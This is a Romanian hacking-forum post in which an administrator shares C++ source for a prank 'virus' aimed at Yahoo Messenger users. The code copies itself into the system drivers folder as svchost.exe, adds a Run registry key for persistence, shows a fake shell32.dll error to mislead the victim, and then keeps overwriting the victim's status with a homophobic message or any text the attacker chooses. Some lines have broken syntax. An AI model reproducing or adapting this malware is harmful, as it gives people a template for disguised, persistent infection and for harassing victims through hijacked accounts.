Evolution Hacking Area
Bine ati venit pe Evolution Hacking Area Forum ! Aici veti gasi o gama larga de metode de hack atat pe Windows cat si pe platforme Linux/Unix , programe in consecinta ,tutoriale . In acelasi timp aici veti gasi si asistenta help in materie corespunzatoare . Precizam ca tot ce se gaseste pe acest site este doar in scop de dezvoltare iar voi va asumati intreaga raspundere pt actiunile pe care le savarsiti . || Evolution`Zone|| Va Multumeste pt vizita !
|
Lista Forumurilor Pe Tematici
|
Evolution Hacking Area | Reguli | Inregistrare | Login
POZE EVOLUTION HACKING AREA
Nu sunteti logat.
|
Nou pe simpatie:
morena28 pe Simpatie
 | Femeie
25 ani
Bistrita Nasaud
cauta Barbat
27 - 52 ani |
|
Vallent
Administrator
 Din: Bacau
Inregistrat: acum 18 ani
Postari: 164
|
|
Nu stiu exact cum se numeste virusul, l`am si vazut la cineva, schimba statusul in SUNT GAY ACTIV CAUT GAY PASIV, mi se pare o prostie si totodata mi se pare funny , #define STATUSMSG "YOUR STATUS MESSAGE HERE" scrieti ce vreti sa apara ca status, succes
Code:
//---------------------------------------------------------------------------
#include <vcl.h>
#include <Registry.hpp>
#pragma hdrstop
#define STATUSMSG "YOUR STATUS MESSAGE HERE"
//---------------------------------------------------------------------------
void setstatus() {
AnsiString *username = new AnsiString;
TRegistry *RegGet = new TRegistry(KEY_READ);
try
{
RegGet->RootKey = HKEY_CURRENT_USER;
RegGet->OpenKey("Software\Yahoo\pager",false);
*username = RegGet->ReadString("Yahoo! User ID" ;
}
__finally
{
delete RegGet;
}
TRegistry *RegSet = new TRegistry(KEY_WRITE);
try
{
RegSet->RootKey = HKEY_CURRENT_USER;
AnsiString key = "Software\Yahoo\pager\Profiles\" + *username + "\Custom Msgs";
RegSet->OpenKey(key,false);
RegSet->WriteString("5",STATUSMSG);
}
__finally
{
delete RegSet;
}
HWND hWndY = FindWindow ("YahooBuddyMain", NULL);
PostMessage (hWndY, WM_COMMAND, 0x188, 0);
delete username;
Sleep(15000);
setstatus();
}
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
try
{
if(ExtractFileName(Application->ExeName) != "svchost.exe" {
char target[30];
GetSystemDirectory(target, MAX_PATH);
AnsiString tg = target;
tg += "\drivers\svchost.exe";
CopyFile(Application->ExeName.c_str(),tg.c_str(),0);
TRegistry *regrun = new TRegistry;
try
{
regrun->RootKey = HKEY_CURRENT_USER;
AnsiString key = "Software\Microsoft\Windows\CurrentVersion\Run";
regrun->OpenKey(key,false);
regrun->WriteString("braaainz","""+tg+""";
}
__finally
{
delete regrun;
}
Application->ShowException(&Exception("Could not locate entry point __GETICON in shell32.dll");
ShellExecute(NULL,"open",tg.c_str(),NULL,NULL,SW_SHOW);
ExitProcess(0);
}
setstatus();
}
catch (Exception &exception)
{
Application->ShowException(&exception);
}
catch (...)
{
try
{
throw Exception("";
}
catch (Exception &exception)
{
Application->ShowException(&exception);
}
}
return 0;
}
//---------------------------------------------------------------------------
Acest virus a fost compilat cu C++
_______________________________________
I love hack :X
|
|
| pus acum 18 ani |
|